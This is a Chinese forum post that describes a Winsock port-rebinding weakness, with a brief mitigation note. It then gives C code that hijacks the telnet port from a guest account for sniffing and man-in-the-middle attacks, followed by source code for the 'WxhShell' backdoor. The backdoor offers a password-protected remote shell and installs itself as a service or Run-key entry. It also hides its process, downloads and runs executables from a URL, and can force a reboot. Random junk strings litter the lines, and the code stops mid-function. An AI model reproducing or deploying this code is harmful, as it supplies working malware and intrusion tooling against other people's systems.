社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14439阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $xN|5;+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]}Yl7/gM1}  
C~/a-  
  saddr.sin_family = AF_INET; J)-x!y>  
}BP;1y6-r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KbeC"mi  
Qvhl4-XjZa  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cbTm'}R(G  
PdWx|y{%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;:NJCuG  
Q\Vgl(;lX  
  这意味着什么?意味着可以进行如下的攻击: eJ-nKkg~a  
E7hY8#G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4o[{>gW  
SvF<p3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \'O"~W  
N;`n@9BF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z7Hbj!d/Sz  
6Z"X}L,*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0o&5 ]lEe  
]D\D~!R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VI *$em O0  
>XfbP]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RZTiw^  
u>vL/nI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (#c:b  
9hyn`u.  
  #include jmG~UnM  
  #include |2A:eI8 ^  
  #include SOIN']L|V[  
  #include    K{+2G&i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'LDQgC*%  
  int main() <N~K ;n v  
  { 4#Jg9o   
  WORD wVersionRequested; O;3>sLgc  
  DWORD ret; p6S8VA  
  WSADATA wsaData; =7UsVn#o  
  BOOL val; ^S; -fYW2  
  SOCKADDR_IN saddr; cFXp  
  SOCKADDR_IN scaddr; [dz _R  
  int err; B%68\  
  SOCKET s; I7 ]8Y=xf  
  SOCKET sc; N?8!3&TiV  
  int caddsize; f _:A0  
  HANDLE mt; j1<Yg,_.p  
  DWORD tid;   /PKNLK  
  wVersionRequested = MAKEWORD( 2, 2 ); &UFZS94@r  
  err = WSAStartup( wVersionRequested, &wsaData ); F8ulkcD  
  if ( err != 0 ) { Kc\fu3Q  
  printf("error!WSAStartup failed!\n"); {_*yGK48n  
  return -1; )t%b838l%  
  } \Vk:93OH21  
  saddr.sin_family = AF_INET; Q+{n-? :  
   0=$T\(0g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'Pbr v  
#5uOx(>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uXiN~j &Be  
  saddr.sin_port = htons(23); ?e?!3Bx;EM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t_1L L >R  
  { /x *3}oI  
  printf("error!socket failed!\n"); \w8\1~#  
  return -1; 7d\QB (~  
  } K (|}dl:  
  val = TRUE; @O~pV`_tD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nJ;.Td  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R.3q0yZ wF  
  { cWm$;`Q#\  
  printf("error!setsockopt failed!\n"); # f\rt   
  return -1; 8zb /xP>  
  } n=q 76W\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7xR\kL.,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G#$-1"!`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _yT Ed"$  
-G=]=f/'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fV~[;e;U.  
  { vih9 KBT  
  ret=GetLastError(); J[kTlHMD  
  printf("error!bind failed!\n"); Dt1jW  
  return -1; 4I[P>  
  } B<C&xDRZ0  
  listen(s,2); 2`-Bs  
  while(1) bI`g|v  
  { 2Khv>#l  
  caddsize = sizeof(scaddr); 6S{l' !s'  
  //接受连接请求  Fk;Rfqq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ugBCBr  
  if(sc!=INVALID_SOCKET) % AgUUn&k  
  { 'N(R_q6MW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G+m }MOQP7  
  if(mt==NULL) GA.8@3  
  { z(~_AN M4,  
  printf("Thread Creat Failed!\n"); D6Wa.,r  
  break; 2&5K. Ui%  
  } H,NF;QPPC  
  } rT>wg1:  
  CloseHandle(mt); Alq(QDs  
  } @}ZVtrz  
  closesocket(s); LRF103nw  
  WSACleanup(); "Y.y:Vv;  
  return 0; OZ&o:/*HM  
  }   (tO\)aS=  
  DWORD WINAPI ClientThread(LPVOID lpParam) H"F29Pu2  
  { (-co.  
  SOCKET ss = (SOCKET)lpParam; #LNED)Vg  
  SOCKET sc; _VXN#@y  
  unsigned char buf[4096]; "gwSJ~:ds  
  SOCKADDR_IN saddr; *K; ~!P  
  long num; -n;}n:w L  
  DWORD val; WY]s |2a  
  DWORD ret;  AOx[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S8gs-gL#Og  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d d;T-wa}  
  saddr.sin_family = AF_INET; fB,_9K5i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ##ANrG l  
  saddr.sin_port = htons(23); i@'dH3-kO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P93@;{c(  
  { K> e7pu  
  printf("error!socket failed!\n"); ;n},"&  
  return -1; #A.@i+Zv  
  } BJ0?kX@  
  val = 100; 'B}qZCy W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 048kPXm`  
  { XX~,>Q}H=  
  ret = GetLastError(); ch]29  
  return -1; wyG;8I  
  } yDS4h(^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nRY5xRvK  
  { !!y a  
  ret = GetLastError(); XfmwVjy  
  return -1; nj4/#W  
  } i mM_H;-X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0CvUc>Pj`"  
  { w*Ihk)  
  printf("error!socket connect failed!\n"); .e5Mnd%$M  
  closesocket(sc); NEF# }s2=  
  closesocket(ss); jh$='Gn  
  return -1; et+0FF ,  
  } P|> ~_$W  
  while(1) ?fS9J  
  { ^C%<l( b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ctV,Q3'Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QCJM&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i?;Kq~,  
  num = recv(ss,buf,4096,0); 'f|o{  
  if(num>0) L rPkxmR  
  send(sc,buf,num,0); y?!"6t7&  
  else if(num==0) 4.(4x&  
  break; *|l/6!WM  
  num = recv(sc,buf,4096,0); CQ2jP G*py  
  if(num>0) < 7$1kGlA  
  send(ss,buf,num,0); ^}C\zW  
  else if(num==0) jqkqZF  
  break; 8EEuv-aeo  
  } F5#YOck&,  
  closesocket(ss); H:\k}*w  
  closesocket(sc); "h ^Z  
  return 0 ; aN=B]{!  
  } Er[A X.3  
J-4:H gx  
'W#D(l9nI  
========================================================== 1nOCQ\$l  
bN88ua}k{  
下边附上一个代码,,WXhSHELL iR0y"Cii  
O1kl70,`R  
========================================================== ]{LjRSV  
+^<](z  
#include "stdafx.h" cGD(.=  
BPHW}F]X  
#include <stdio.h> yppo6HGD  
#include <string.h> $7uA%|\  
#include <windows.h> HorDNRyu  
#include <winsock2.h> p<;0g9,1  
#include <winsvc.h> ,Lt[\_  
#include <urlmon.h> iyog`s c  
Xry4 7a )  
#pragma comment (lib, "Ws2_32.lib") %07SFu#  
#pragma comment (lib, "urlmon.lib") l@:0e]8|o  
V1JIht>Opo  
#define MAX_USER   100 // 最大客户端连接数 .{KVMc  
#define BUF_SOCK   200 // sock buffer Lh<).<S  
#define KEY_BUFF   255 // 输入 buffer 6aV_@no.C  
hpJ-r  
#define REBOOT     0   // 重启 PYzvCf`?  
#define SHUTDOWN   1   // 关机 &VcV$8k  
]+$?u&0?w  
#define DEF_PORT   5000 // 监听端口 [trwBZ^D~  
bJ;'`sw1  
#define REG_LEN     16   // 注册表键长度 ;UP$yM;  
#define SVC_LEN     80   // NT服务名长度 UY 2OZ& &  
2Hv+W-6v  
// 从dll定义API Tac$LS\Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m#F`] {  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !g.?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qjc4.,/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  RX5dO%  
8KNZ](Dj  
// wxhshell配置信息 cs'{5!i]  
struct WSCFG { 4'Zp-k?5`  
  int ws_port;         // 监听端口 d`6 ' Z  
  char ws_passstr[REG_LEN]; // 口令 V470C@  
  int ws_autoins;       // 安装标记, 1=yes 0=no +t;7tQDVB  
  char ws_regname[REG_LEN]; // 注册表键名 "wHFN>5B  
  char ws_svcname[REG_LEN]; // 服务名 +2j AC r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BF<ikilR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {qMIGwu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &! ?eL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1'\/,Es  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AzxXB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ofv)SCjd  
tnG# IU *  
}; NN`uI6=  
{.\TtE  
// default Wxhshell configuration #C3.Jef  
struct WSCFG wscfg={DEF_PORT, JO< wU  
    "xuhuanlingzhe", "w.3Q96r  
    1, &`XVq" 7  
    "Wxhshell", ?K\axf>F  
    "Wxhshell", @y&bw9\  
            "WxhShell Service", t<viX's  
    "Wrsky Windows CmdShell Service", }Z,x~G  
    "Please Input Your Password: ", XvlU*TO~(~  
  1, 8ITdSg  
  "http://www.wrsky.com/wxhshell.exe", #YOA`m,'  
  "Wxhshell.exe" E\,-XH  
    }; K6)j0 ]K1  
fwf$Co+R:*  
// 消息定义模块 $p?aVO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %|i`kYsy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ovR7+V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]P?vdgEM&  
char *msg_ws_ext="\n\rExit."; C 6AUNRpl  
char *msg_ws_end="\n\rQuit."; Z/;aT -N  
char *msg_ws_boot="\n\rReboot..."; Nu7 !8[?r*  
char *msg_ws_poff="\n\rShutdown..."; w*JGUk  
char *msg_ws_down="\n\rSave to "; ^]-6u:J!  
Q)[C?obd v  
char *msg_ws_err="\n\rErr!"; > "=>3  
char *msg_ws_ok="\n\rOK!"; J6aef ^>  
& 9 ?\b7  
char ExeFile[MAX_PATH]; [1 9,&]z  
int nUser = 0; KyQX!,rV  
HANDLE handles[MAX_USER]; Hg$lXtn]  
int OsIsNt; ,Vk3kmuvr]  
0=E]cQwh  
SERVICE_STATUS       serviceStatus; $H>W|9Kg,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *w&Y$8c(  
<yFu*(Q  
// 函数声明 X*Prll(  
int Install(void);  'CkIz"Wd  
int Uninstall(void); H}bJ"(9$vC  
int DownloadFile(char *sURL, SOCKET wsh); v-_e)m^  
int Boot(int flag); vOpK Np  
void HideProc(void); -p XSSa;O9  
int GetOsVer(void); %Qdn  
int Wxhshell(SOCKET wsl); kq,ucU%>p  
void TalkWithClient(void *cs); M1iS(x  
int CmdShell(SOCKET sock); m-"w0Rl1T  
int StartFromService(void); exUu7& *:  
int StartWxhshell(LPSTR lpCmdLine); 7Da`   
o$lM$E:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -I,$_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (c &mCJN  
v<(  
// 数据结构和表定义 6MMOf\   
SERVICE_TABLE_ENTRY DispatchTable[] = I75DUJqy]  
{ Q|?L*Pq2I  
{wscfg.ws_svcname, NTServiceMain}, Y^EcQzLw  
{NULL, NULL} =.]4;z  
}; xRLT=.ir  
k5.Lna  
// 自我安装 Ks`J([(W&  
int Install(void) iVq'r4S  
{ .MoU1n{Yc  
  char svExeFile[MAX_PATH]; R3&Iu=g  
  HKEY key; %.-4!vj  
  strcpy(svExeFile,ExeFile); 65$+{s  
4-H+vNG{%  
// 如果是win9x系统,修改注册表设为自启动 JNXq.;:`Q  
if(!OsIsNt) { 70tH:Z)"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G.a bql  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); My[pr_xg  
  RegCloseKey(key); dV$gB<iS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ywm8N%]v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9u}Hmb  
  RegCloseKey(key); SdxDa  
  return 0; _ y8Wn}19f  
    } DJ [#5h5  
  } nIy}#MUd|q  
} RF4vtQC=  
else { ']z{{UNUN  
{~"/Y@&]R  
// 如果是NT以上系统,安装为系统服务 -g Sa_8R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >kDQkhZ  
if (schSCManager!=0) dkBIx$t  
{ O6a<`]F  
  SC_HANDLE schService = CreateService wX5tp1 ?1J  
  ( ipgC RHE  
  schSCManager, })8N5C+KU  
  wscfg.ws_svcname, `WFw3TI  
  wscfg.ws_svcdisp, f:|1_j  
  SERVICE_ALL_ACCESS, J1RJ*mo7,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GmEJhr.3`=  
  SERVICE_AUTO_START, cyv`B3}  
  SERVICE_ERROR_NORMAL, Z=Y& B>:[  
  svExeFile, 6@ IXqKz  
  NULL, )SRefW.v  
  NULL, @oY~..d`  
  NULL, L<-_1!wh  
  NULL, 6/Xk7B  
  NULL Eog0TQ+*  
  ); )E@.!Ut4o  
  if (schService!=0) JNYFD8J~  
  { z] P SpUd  
  CloseServiceHandle(schService); >j(_[z|v3  
  CloseServiceHandle(schSCManager); wyj{zWRJp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BsqP?/  
  strcat(svExeFile,wscfg.ws_svcname); (X1e5j>Ru  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l%puHZ)t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ou!2 [oe@M  
  RegCloseKey(key); X0H!/SlS  
  return 0; {V$|3m>:*  
    } xPk8$1meZM  
  } }c`"_L  
  CloseServiceHandle(schSCManager); #Z`q+@@ ]A  
} AFDq}*2Qb  
} i6tf2oqO7  
7>Ouqxh21  
return 1; K'Tm_"[u  
} kmsb hYM)  
eH3JyzzP,  
// 自我卸载 &5spTMw8  
int Uninstall(void) ZQoU3AD;  
{ AJ? r,!)  
  HKEY key; wh\}d4gN  
)72+\C[*~r  
if(!OsIsNt) { YY((V@|K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nE&@Q  
  RegDeleteValue(key,wscfg.ws_regname); 1s2>C!\  
  RegCloseKey(key); EQyC1j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RO VW s/  
  RegDeleteValue(key,wscfg.ws_regname); '4Ixqb+  
  RegCloseKey(key); 4Lh!8g=/  
  return 0; ;R5`"`  
  } %C'?@,7C  
} &Gn 2tr  
} 6]_pIf  
else { ]kG"ubHV?h  
#ASz;$P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U;V7 u/{  
if (schSCManager!=0) 9T}pT{~V  
{ 4(~L#}:r!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8'.Hyy@;  
  if (schService!=0) ?'#` nx(!  
  { !M]uL&:  
  if(DeleteService(schService)!=0) { `H_3Uc  
  CloseServiceHandle(schService); $L>@Ed<  
  CloseServiceHandle(schSCManager); 2*< nu><b  
  return 0; tl4V7!U@^z  
  } 1onM j  
  CloseServiceHandle(schService); #*uL)2nR  
  } +p_CN*10H  
  CloseServiceHandle(schSCManager); pb?c$n$u*  
} `PdQX.wN  
} NP#w +Qw  
yAs> {6%-  
return 1; *{@Nq=fE  
}  u\x}8pn  
P*Uwg&Qz)  
// 从指定url下载文件 OwUhdiG  
int DownloadFile(char *sURL, SOCKET wsh) 5\sd3<:+  
{ +L| ?~p`V  
  HRESULT hr; /y#f3r+*2  
char seps[]= "/"; [f-?y mmT  
char *token; mpEK (p  
char *file; Sh~dwxp*"  
char myURL[MAX_PATH]; }6}l7x  
char myFILE[MAX_PATH]; r CHl?J  
)!Z*.?  
strcpy(myURL,sURL); -M~:lK]n   
  token=strtok(myURL,seps); OU(8V^.  
  while(token!=NULL) s1$nvTzBr  
  { u+e{Mim  
    file=token; Uq,^Wy  
  token=strtok(NULL,seps); v ~?qz5:K~  
  } >,Ci?[pf  
x{8xW0  
GetCurrentDirectory(MAX_PATH,myFILE); fZzoAzfv2  
strcat(myFILE, "\\"); TnOggpQ6X  
strcat(myFILE, file); qIE9$7*X  
  send(wsh,myFILE,strlen(myFILE),0); m 3hrb-  
send(wsh,"...",3,0); 2K6qY)/_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 18d4fR   
  if(hr==S_OK) 4 Y9`IgQ  
return 0; #u(^0' P  
else ]G= L=D^cK  
return 1; UWJ8amA  
J +DDh=%  
} V`d,qn)i  
Bz-c$me1  
// 系统电源模块 S_4?K)n #  
int Boot(int flag) =^f<v_L  
{ FZ<gpIv!NS  
  HANDLE hToken; n;C :0  
  TOKEN_PRIVILEGES tkp; KHu+9eX  
f#"J]p  
  if(OsIsNt) { GL0L!="!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bMu+TgAT,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vHc%z$-d  
    tkp.PrivilegeCount = 1; qzLPw*;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SC!RbW@3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  #ut  
if(flag==REBOOT) { AW'0,b`v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7~% ?#  
  return 0; J T7nG.9  
} G1tY)_-8[  
else { rjAn@!|:+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r:'.nhe  
  return 0; o5O#vW2Il&  
} c?*=|}N  
  } k[YS8g-Q  
  else { z`}qkbvi  
if(flag==REBOOT) { *3FKt&v 0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2'\H\|  
  return 0; ?V.cOR`6  
} w\u=)3qyVV  
else { 8)3*6+D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cN6X#D  
  return 0; EhvX)s  
} %y[h5*y*  
} NiK4d{E&  
E\EsWb  
return 1; glxsa8  
} ~2N"#b&J  
J#(LlCs?@c  
// win9x进程隐藏模块 D& i94\vVa  
void HideProc(void) }W8;=$jr  
{ 9uO 2Mm  
W:nef<WH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3m)0z{n  
  if ( hKernel != NULL ) >J?fl8  
  { l0 m-$/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SmH=e@y~Lx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /NFj(+&g+  
    FreeLibrary(hKernel); Fb>?1i`RN  
  } FUb\e-Q=  
5yo%$i8I  
return; 0<@KG8@hI;  
} Yn Mvl  
RJ&RTo  
// 获取操作系统版本 lh7#t#  
int GetOsVer(void) ?4&e;83_#y  
{ vWv"  
  OSVERSIONINFO winfo; rfJz8uF%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $6 9&O  
  GetVersionEx(&winfo); Y('#jU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hH 3RP{'=  
  return 1; h"Q8b}$^)  
  else b3[!V{|  
  return 0; !hy-L_wL]  
} q!7ANib6O  
]|a g  
// 客户端句柄模块  A,<E\  
int Wxhshell(SOCKET wsl) fOGFq1D  
{ P>D)7 V9Hh  
  SOCKET wsh; Pn1^NUMZJ  
  struct sockaddr_in client; #A/  
  DWORD myID;  'KL0@l  
o[w:1q7  
  while(nUser<MAX_USER) ]p GL`ge5  
{ CwzZ8.o$i  
  int nSize=sizeof(client); :\c ^*K(9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ie95rZp  
  if(wsh==INVALID_SOCKET) return 1; a#k6&3m&  
P|E| $)m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  8q!]y6  
if(handles[nUser]==0) FVbb2Y?R  
  closesocket(wsh); f~R(D0@  
else R+z2}}Z!`  
  nUser++; Y\P8 v  
  } #p&qUw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7Q9 w?y~c  
[ l??A3G  
  return 0; H$t_Xw==  
} &PHTpkaam  
Bm<`n;m  
// 关闭 socket ltSU fI  
void CloseIt(SOCKET wsh) ,w4(kcg%iQ  
{ : *#-%0  
closesocket(wsh); G>}255qY  
nUser--; gZXi]m&  
ExitThread(0); AV]2 euyn  
} :eCwY  
& J'idYD  
// 客户端请求句柄 3;9^  
void TalkWithClient(void *cs) Mfuv0P~  
{ 4F:\-O  
K@]4g49A/j  
  SOCKET wsh=(SOCKET)cs; T&bY a`f]  
  char pwd[SVC_LEN]; Dml;#'IF3  
  char cmd[KEY_BUFF]; #:_Kws>+  
char chr[1]; G~a ZJ,  
int i,j; Dx?,=~W9  
&Z@o Q  
  while (nUser < MAX_USER) { RbnVL$c  
N>`Aw^ _@&  
if(wscfg.ws_passstr) { +Kc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &r /Mi%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WpP}stam/  
  //ZeroMemory(pwd,KEY_BUFF); V f&zL Sgr  
      i=0; "HIRTE;&  
  while(i<SVC_LEN) { sl l\g  
]F~dlH1Wp  
  // 设置超时 ="H`V V_  
  fd_set FdRead; :3Ox~o  
  struct timeval TimeOut; 4p F*"B  
  FD_ZERO(&FdRead); !;A\.~-!G  
  FD_SET(wsh,&FdRead); .p[ux vp  
  TimeOut.tv_sec=8; "&u@d~`-n  
  TimeOut.tv_usec=0; H*R"ntI?w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bsvr?|L\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IEi^kJflU  
uGGt\.$]s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #trK^(  
  pwd=chr[0]; (?c"$|^J  
  if(chr[0]==0xd || chr[0]==0xa) { Rhs/3O8k  
  pwd=0; 7n<{tM  
  break; {JT&w6Jz  
  } f8dB-FlMm  
  i++; &p@O _0nF  
    } qEOhwrh  
C,r;VyW6BI  
  // 如果是非法用户,关闭 socket <%eG:n,#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~36!?&eA8  
} [z{1*Xc  
g! |kp?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;6$jf:2m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KZE,bi: ~  
k y7Gwc  
while(1) { wi=v}R_  
vk^xT  
  ZeroMemory(cmd,KEY_BUFF); H1 ./x6Hr  
S=5o < 1  
      // 自动支持客户端 telnet标准   lL3U8}vn  
  j=0; +r2-S~f3N  
  while(j<KEY_BUFF) { CA~-rv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q<1 ~ vA9  
  cmd[j]=chr[0]; 73;GW4,  
  if(chr[0]==0xa || chr[0]==0xd) { _Fl9>C"u  
  cmd[j]=0; 7?_CcRe  
  break; &h/X ku&0  
  } :"c*s4  
  j++; TvbE2Q;/UL  
    } /J;Kn]5e  
GD$l| |8  
  // 下载文件 )y$(AJx$  
  if(strstr(cmd,"http://")) { #"~<HG}bR/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y<Ot)fa$  
  if(DownloadFile(cmd,wsh)) F]&*o w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +mn[5Y}:  
  else q/,O\,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H.MI5O(Q  
  } "chDg(jMZ  
  else { Wne@<+mX  
^1.By^ $  
    switch(cmd[0]) { 26h21Z16q  
  eSq.GtI  
  // 帮助 b \2 ds,  
  case '?': { ~4'$yWG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FZn w0tMq  
    break; 3!]rmZ-W  
  } z2GY:<s  
  // 安装 =Xr.'(U  
  case 'i': { 1yhDrpm  
    if(Install()) Dlvz )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NzvXN1_%  
    else k<?b(&`J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dy[X3jQB  
    break; K$=zi}J W  
    } 6'f;-2  
  // 卸载 #H~64/  
  case 'r': { M\BRcz  
    if(Uninstall()) 0g8NHkM:2a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T>W,'H  
    else ]Y&VT7+Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +ZP7{%  
    break; i83OOV$1J  
    } f/?P514h  
  // 显示 wxhshell 所在路径 sYA1\YIii  
  case 'p': { BI@[\aRLQ  
    char svExeFile[MAX_PATH]; $ I?"lky  
    strcpy(svExeFile,"\n\r"); >A"(KSNL  
      strcat(svExeFile,ExeFile); pQB."[n  
        send(wsh,svExeFile,strlen(svExeFile),0); %xLh Z\  
    break; xAm6BB c  
    } a%0EiU  
  // 重启 QMm%@zH  
  case 'b': { [$UI8tV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t]G:L}AOl  
    if(Boot(REBOOT)) X:{!n({r=  
